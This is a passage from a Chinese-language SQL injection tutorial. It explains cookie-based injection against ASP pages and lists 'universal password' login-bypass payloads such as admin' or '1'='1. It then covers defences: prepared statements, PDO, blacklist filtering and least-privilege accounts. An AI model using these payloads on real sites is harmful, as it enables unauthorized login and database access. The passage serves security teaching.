但我們知道,很多時候,提交數據並非僅僅只有get / post這兩種方式,還有一種經常被用到的方式:request("xxx"),即request方法。通過這種方法一樣可以從用戶提交的參數中獲取參數值,這就造成了cookie注入的最基本條件:使用了request方法,但是只對用戶get / post提交的數據進行過濾。
我們這里有一個連接:www.xx.com/search.asp?id=1
我們訪問:www.xx.com/srarch.asp 發現不能訪問,說缺少id參數。
我們將id=1放在cookie中再次訪問,查看能否訪問,如果能訪問,則說明id參數可以通過cookie提交。
那么,如果后端沒有對cookie中傳入的數據進行過濾,那么,這個網站就有可能存在cookie注入了!
十二:過濾繞過
傳送門:
十三:傳說中的萬能密碼
sql="select*from test where username=' XX ' and password=' XX ' ";
- admin' or '1'='1 XX //萬能密碼(已知用戶名)
- XX 'or'1'='1 //萬能密碼(不需要知道用戶名)
- 'or '1'='1'# XX //萬能密碼(不知道用戶名)
SQL注入的預防
既然SQL注入的危害那么大,那么我們要如何預防SQL注入呢?
(1)預編譯(PreparedStatement)(JSP)
可以采用預編譯語句集,它內置了處理SQL注入的能力,只要使用它的setXXX方法傳值即可。
- String sql = "select id, no from user where id=?";
- PreparedStatement ps = conn.prepareStatement(sql);
- ps.setInt(1, id);
- ps.executeQuery();
如上所示,就是典型的采用 SQL語句預編譯來防止SQL注入 。為什么這樣就可以防止SQL注入呢?
其原因就是:采用了PreparedStatement預編譯,就會將SQL語句:"select id, no from user where id=?" 預先編譯好,也就是SQL引擎會預先進行語法分析,產生語法樹,生成執行計划,也就是說,后面你輸入的參數,無論你輸入的是什么,都不會影響該SQL語句的語法結構了,因為語法分析已經完成了,而語法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面輸入了這些SQL命令,也不會被當成SQL命令來執行了,因為這些SQL命令的執行, 必須先通過語法分析,生成執行計划,既然語法分析已經完成,已經預編譯過了,那么后面輸入的參數,是絕對不可能作為SQL命令來執行的,只會被當做字符串字面值參數。所以SQL語句預編譯可以有效防御SQL注入。
原理:SQL注入只對SQL語句的編譯過程有破壞作用,而PreparedStatement已經預編譯好了,執行階段只是把輸入串作為數據處理。而不再對SQL語句進行解析。因此也就避免了sql注入問題。
(2)PDO(PHP)
首先簡單介紹一下什么是PDO。PDO是PHP Data Objects(php數據對象)的縮寫。是在php5.1版本之后開始支持PDO。你可以把PDO看做是php提供的一個類。它提供了一組數據庫抽象層API,使得編寫php代碼不再關心具體要連接的數據庫類型。你既可以用使用PDO連接mysql,也可以用它連接oracle。並且PDO很好的解決了sql注入問題。
PDO對於解決SQL注入的原理也是基於預編譯。
- $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
- $data->bindParam( ':id', $id, PDO::PARAM_INT );
- $data->execute();
實例化PDO對象之后,首先是對請求SQL語句做預編譯處理。在這里,我們使用了占位符的方式,將該SQL傳入prepare函數后,預處理函數就會得到本次查詢語句的SQL模板類,並將這個模板類返回,模板可以防止傳那些危險變量改變本身查詢語句的語義。然后使用 bindParam()函數對用戶輸入的數據和參數id進行綁定,最后再執行,
(3)使用正則表達式過濾
雖然預編譯可以有效預防SQL注,但是某些特定場景下,可能需要拼接用戶輸入的數據。這種情況下,我們就需要對用戶輸入的數據進行嚴格的檢查,使用正則表達式對危險字符串進行過濾,這種方法是基於黑名單的過濾,以至於黑客想盡一切辦法進行繞過注入。基於正則表達式的過濾方法還是不安全的,因為還存在繞過的風險。
對用戶輸入的特殊字符進行嚴格過濾,如 ’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union
(4) 其他
- Web 應用中用於連接數據庫的用戶與數據庫的系統管理員用戶的權限有嚴格的區分(如不能執行 drop 等),並設置 Web 應用中用於連接數據庫的用戶不允許操作其他數據庫
- 設置 Web 應用中用於連接數據庫的用戶對 Web 目錄不允許有寫權限。
- 嚴格限定參數類型和格式,明確參數檢驗的邊界,必須在服務端正式處理之前對提交的數據的合法性進行檢查
- 使用 Web 應用防火牆